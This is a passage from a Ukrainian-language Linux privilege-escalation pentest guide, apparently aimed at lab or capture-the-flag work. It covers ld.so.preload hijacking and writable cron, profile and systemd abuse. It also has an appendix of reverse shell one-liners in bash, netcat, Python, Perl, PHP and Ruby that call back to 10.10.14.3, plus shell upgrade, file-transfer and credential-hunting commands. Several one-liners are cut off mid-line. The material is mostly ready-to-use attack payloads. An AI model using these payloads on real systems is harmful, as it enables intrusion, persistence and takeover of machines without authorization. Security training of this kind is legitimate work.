# Додаємо шлях
echo '/tmp/hax.so' > /etc/ld.so.preload

# Запускаємо будь-який SUID binary (або sudo)
sudo ls   # або /usr/bin/passwd
# → root shell
```

## 18.5 Writable /etc/cron.d/ або cron script

```
# Якщо /etc/cron.d/ writable — створюємо власний cron entry
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.3/443 0>&1"' \
    > /etc/cron.d/pwn

# Listener
nc -lnvp 443

# Чекаємо ≤1 хвилину
```

## 18.6 Writable /etc/profile або /etc/bash.bashrc

```
# Якщо ми можемо писати в глобальні startup файли —
# при наступному login root виконає наш payload

echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /etc/profile

# Чекаємо коли root залогіниться
# (може бути довгим очікуванням — не завжди практично)
```

## 18.7 Systemd service hijacking

```
# Шукаємо writable service unit files
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null

# Якщо знайшли — модифікуємо ExecStart
# [Service]
# ExecStart=/bin/bash -c 'chmod +s /bin/bash'

# Reload + restart (потрібен sudo на systemctl, але часто саме це і дозволено)
sudo systemctl daemon-reload
sudo systemctl restart <service>

# Після — SUID bash
/bin/bash -p
```

**Завжди перевіряй ці файли**

Додай до свого enumeration шаблону ОБОВ'ЯЗКОВУ команду: ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/ /etc/ld.so.preload /etc/cron.d/ /etc/profile — часто знаходить швидкі перемоги.

# Додаток A. Корисні інструменти

| Інструмент | Призначення | URL |
|---|---|---|
| LinPEAS | Автоматизоване enumeration privesc | github.com/carlospolop/PEASS-ng |
| LinEnum | Альтернатива LinPEAS (швидша) | github.com/rebootuser/LinEnum |
| linux-smart-enumeration (lse) | Ще один enum скрипт | github.com/diego-treitos/linux-smart-enumeration |
| Linux Exploit Suggester | Kernel exploits підказки | github.com/mzet-/linux-exploit-suggester |
| pspy | Моніторинг процесів без root | github.com/DominicBreuker/pspy |
| GTFOBins | DB бінарів для експлуатації | gtfobins.org |
| logrotten | Logrotate exploit | github.com/whotwagner/logrotten |
| kubeletctl | Kubernetes Kubelet API attack | github.com/cyberark/kubeletctl |
| kube-hunter | K8s автоматизований scan | github.com/aquasecurity/kube-hunter |
| peirates | K8s post-exploitation | github.com/inguardians/peirates |
| net-creds | Extract credentials з pcap | github.com/DanMcInerney/net-creds |
| PCredz | Credentials, cards, hashes з pcap | github.com/lgandx/PCredz |
| deepce | Docker container escape enum | github.com/stealthcopter/deepce |
| CDK | Container security evaluation | github.com/cdk-team/CDK |

# Додаток B. Reverse Shell Payloads

Колекція reverse shell one-liners для різних сценаріїв. Завжди стартуй listener першим: `nc -lnvp 443`

## B.1 Bash

```
# Класичний
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

# Через /dev/udp
bash -i >& /dev/udp/10.10.14.3/443 0>&1

# Через mkfifo (named pipe)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
```

## B.2 Netcat

```
# traditional nc з -e
nc -e /bin/bash 10.10.14.3 443

# Без -e (OpenBSD netcat)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f

# ncat (nmap)
ncat 10.10.14.3 443 -e /bin/bash
ncat --ssl 10.10.14.3 443 -e /bin/bash  # через SSL
```

## B.3 Python

```
# Python 3 one-liner
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1
```

## B.4 Perl / PHP / Ruby

```
# Perl
perl -e 'use Socket;$i="10.10.14.3";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conne

# PHP
php -r '$sock=fsockopen("10.10.14.3",443);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.14.3","443");while(cmd=c.gets);IO.popen(cmd,"r")
```

## B.5 TTY upgrade (важливо після reverse shell)

Після отримання reverse shell він зазвичай dumb (без tab-completion, Ctrl+C вбиває з'єднання, no readline). Обов'язково upgrade:

```
# Крок 1: У shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# альтернативи: python, script -qc /bin/bash /dev/null

# Крок 2: CTRL+Z (suspend)
# Крок 3: У локальному терміналі
stty raw -echo; fg
ENTER ENTER

# Крок 4: Виставити env
export TERM=xterm-256color
export SHELL=/bin/bash

# Крок 5: Розмір терміналу
# У локальному: stty size
# 44 178
# У reverse shell:
stty rows 44 cols 178
```

## B.6 File transfer між host'ами

```
# На атакуючій — Python HTTP server
python3 -m http.server 8000

# На target
wget http://10.10.14.3:8000/LinPEAS.sh
curl http://10.10.14.3:8000/LinPEAS.sh -o /tmp/LinPEAS.sh

# Upload back (POST)
# На атакуючій
python3 -c 'from http.server import *;import cgi;
class H(BaseHTTPRequestHandler):
    def do_POST(s):
        d=s.rfile.read(int(s.headers["Content-Length"]))
        open("up","wb").write(d); s.send_response(200); s.end_headers()
HTTPServer(("",8000),H).serve_forever()'

# Через SSH
scp file user@target:/tmp/
rsync file user@target:/tmp/

# Через base64 (якщо мало каналів)
base64 -w0 file  # на source, copy+paste в target
echo '<base64>' | base64 -d > file
```

# Додаток C. Quick Reference Card

Стартова checklist команд для нового shell. Виконуй згори вниз, 15-20 хвилин максимум.

```
# === 30 секунд ===
id; whoami; hostname; sudo -l; ip a

# === 1 хвилина (система) ===
cat /etc/os-release; uname -a; echo $PATH; env

# === 2 хвилини (users, files) ===
cat /etc/passwd; cat /etc/group; ls /home
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/ld.so.preload

# === 3 хвилини (SUID, caps, cron) ===
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*

# === Background ===
./pspy64 -pf -i 1000 &    # мінімум 5-10 хв моніторинг

# === Credentials hunting ===
find / -name id_rsa 2>/dev/null
grep -r password /var/www /etc /opt 2>/dev/null | head
cat ~/.bash_history /home/*/.bash_history 2>/dev/null

# === Network ===
ss -tulpn; showmount -e <target>

# === Groups ===
id | grep -E 'docker|lxd|disk|adm|shadow|sudo'

# === Services з версіями ===
sudo -V; screen -v; logrotate --version

# === Containers? ===
ls /.dockerenv; cat /proc/1/cgroup
```

**Фінальна нотатка**

Пентест — це марафон, не спринт. Кожна система має свою унікальну конфігурацію. Якщо стандартні техніки не спрацьовують — повертайся до enumeration, читай конфіги уважніше, запускай pspy на довше. Root завжди десь є — питання лише в тому, як швидко ти його знайдеш. Вдалих пригод!